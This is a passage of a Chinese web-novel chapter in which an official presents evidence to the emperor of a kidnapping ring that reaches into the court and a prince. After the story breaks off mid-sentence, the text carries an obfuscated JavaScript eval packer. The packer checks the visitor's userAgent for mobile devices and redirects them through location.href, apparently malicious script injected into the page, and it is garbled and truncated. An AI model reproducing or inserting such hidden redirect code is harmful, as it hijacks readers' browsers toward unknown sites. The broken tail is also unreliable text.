大人,您为官多年,该比我更清楚——有些事,若现在不做,以后就再也没机会了。”
李崇明沉默了。
他看着江清砚,又看看谢云辞,最终长长叹了口气。
“好。”他说,“我陪你去。但你要记住,有些话,该说;有些话,不该说。分寸……要把握好。”
“学生明白。”
养心殿内,龙涎香的味道比上次更浓了。
江清砚跪在冰冷的地砖上,额头触地。永昌帝坐在御案后,正批阅奏折,朱笔在纸上划过,发出沙沙的轻响。李崇明跪在他身后一步,垂着头,大气不敢出。
殿内一片死寂,只有笔尖划过纸面的声音。
许久,永昌帝才放下笔,抬起头,目光落在江清砚身上。
“江清砚,你急着见朕,所为何事?”
江清砚抬起头,但依旧保持着跪姿:“陛下,臣为水鬼帮一案而来。”
“案子不是结了吗?”永昌帝声音平静,“三日后,赵文远、柳文渊问斩。余孽伏法。还有什么问题?”
“有。”江清砚叩首,“此案虽了,但真相未明。”
“哦?”永昌帝挑眉,“什么真相?”
“第一,那些失踪的举子,至今下落不明。”江清砚一字一句道,“账本记载,水鬼帮掳掠举子共计八十七人,找到的只有三十四人。其余五十三人,生不见人,死不见尸。他们去了哪里?被谁买走?用作什么用途?”
他顿了顿,继续道:“第二,朝中各部,皆有被水鬼帮渗透的迹象。户部、礼部、翰林院……甚至都察院、大理寺,都有官员来历不明,履历可疑。若继续追查,定能揪出更多。”
“第三,”江清砚抬起头,直视永昌帝,“此案背后,恐有皇子参与。”
最后这句话,石破天惊。
李崇明脸色煞白,头垂得更低。
永昌帝的眼神骤然锐利:“江清砚,你可知你在说什么?”
“臣知道。”江清砚从怀中取出那些密信和账目摘要,双手呈上,“此乃从陈文正处搜出的密信,以及水鬼帮账本中关于‘特殊货物’的记录。请陛下御览。”
太监接过,呈给永昌帝。
永昌帝一封封看过去,脸色越来越沉。当看到二皇子那封信时,他手一颤,信纸飘落在地。
“这是……真的?”他声音嘶哑。
“千真万确。”江清砚叩首,“臣愿以性命担保。”
永昌帝沉默了。
他盯着地上那封信,许久,忽然笑了。那笑意很冷,带着一种深深的疲惫。
“江清砚,”他缓缓道,“你是个聪明人,该知道……有些事,知道了,未必是好事。”
“臣知道。”江清砚平静道,“但臣更知道,若为了一时太平,而纵容奸邪,将来必酿大祸。陛下,水鬼帮掳掠举子,染指科举,渗透朝堂——这不是普通的贪腐案,这是动摇国本的大案!若不彻查,大周的未来,就攥在这些宵小之徒手里!”
他说得激动,胸口剧痛,猛地咳嗽起来。咳得撕心裂肺,嘴角溢出一丝血迹。
“清砚!”谢云辞忍不住出声,却被李崇明死死按住。
永昌帝看着他咳血的样子,眼中闪过复杂的神色。
“你的身体……”他问。
“臣……无碍。”江清砚喘息着,抹去嘴角的血迹,“请陛下……彻查此案。”
永昌帝站起身,走到窗
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16863506|191730||http|test|ni|href|loc